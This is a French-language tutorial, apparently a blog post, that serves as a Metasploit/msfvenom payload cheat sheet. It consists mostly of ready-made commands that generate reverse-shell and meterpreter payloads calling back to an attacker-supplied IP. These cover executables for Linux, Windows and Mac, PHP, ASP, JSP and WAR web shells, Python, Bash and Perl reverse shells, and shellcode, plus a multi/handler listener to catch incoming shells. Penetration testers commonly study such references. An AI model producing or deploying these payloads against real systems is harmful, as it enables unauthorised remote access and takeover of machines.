Exploitation

Comment Créer un Payload Metasploit

Le module msfpayload est souvent l’un des modules les plus utiles et les plus sous-estimées de Metasploit. De multiples payloads peuvent être créés avec ce module et cela peut être très utile puisque cela vous offre la possibilité de générer un shell dans presque n’importe quelle situation. Pour chacun de ces payloads, vous pouvez aller dans msfconsole et sélectionner exploit/multi/handler. Exécutez ‘set payload’ pour le payload utilisé et configurez toutes les options nécessaires (LHOST, LPORT, etc.).

Les exemples donnés ci-dessous sont en général assez explicite mais LHOST devra toujours être configuré de la manière suivante (LAN IP si votre attaque est sur un réseau ou une structure interne, IP WAN si votre attaque est sur un réseau internet), et LPORT quant à lui devra être configuré en fonction du port sur lequel vous souhaitez obtenir votre retour.

1. LISTE DES PAYLOADS DISPONIBLES
msfvenom -l
2. PAYLOADS BINAIRES

2.1 Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f elf > shell.elf

2.2 Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f exe > shell.exe

2.3 Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f macho > shell.macho
3. WEB PAYLOADS

3.1 PHP

msfvenom -p php/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -e php/base64 R > shell.php

Considérant que le fichier a été encodé en utilisant base64, vous devez par la suite l’ouvrir en utilisant votre éditeur de texte favori et y ajouter les balises “<?php” en début et “?>php” á la fin.

3.2 ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f asp > shell.asp

3.3 JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.jsp

3.4 WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f war > shell.war
4. SCRIPTING PAYLOADS

4.1 Python

msfvenom -p cmd/unix/reverse_python LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.py

4.2 Bash

msfvenom -p cmd/unix/reverse_bash LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.sh

4.3 Perl

msfvenom -p cmd/unix/reverse_perl LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.pl
5. SHELLCODE PAYLOADS

Pour tout shellcode, voir ‘msfvenom -help-formats’ pour plus d’informations sur les paramètres valides. Msfvenom va retourner le code qui peut être coupé et collé dans le language de programmation souhaité pour vos exploits.

5.1 Shellcode Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.2 Shellcode Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.3 Shellcode Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"
6. CRÉER DES GESTIONNAIRES

Les gestionnaires Metasploit peuvent très utilent afin de déployer rapidement une configuration Metasploit pouvant être en mesure de recevoir vos shells entrants. Les gestionnaires doivent être rédigés en utilisant comme modèle le format suivant.

msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 0.0.0.0
msf exploit(multi/handler) > set PAYLOAD 
msf exploit(multi/handler) > set LHOST 
msf exploit(multi/handler) > set LPORT 
msf exploit(multi/handler) > set ExitOnSession false
msf exploit(multi/handler) > exploit -j -z
7. UTILISER DES PAYLOADS PERSONNALISÉS

Metasploit vous permet de générer un payload et de l’utiliser lors d’une attaque. Pour utiliser cette fonction, générez simplement votre payload avant d’exécuter votre attaque et une fois que vous avez prêt à la déployer, utilisez “payload/generic/custom” pour spécifier le payload à utiliser.

msfconsole
msf > use  payload/generic/custom
msf payload(custom) > show options
# show and set options ...
msf payload(custom) > set PAYLOADFILE /path/to/the/payload
msf payload(custom) > set PAYLOADSTR the_payload_string_to_use

Related Posts

Comment Créer un Reverse Shell

dotweak@admin

Leave a Comment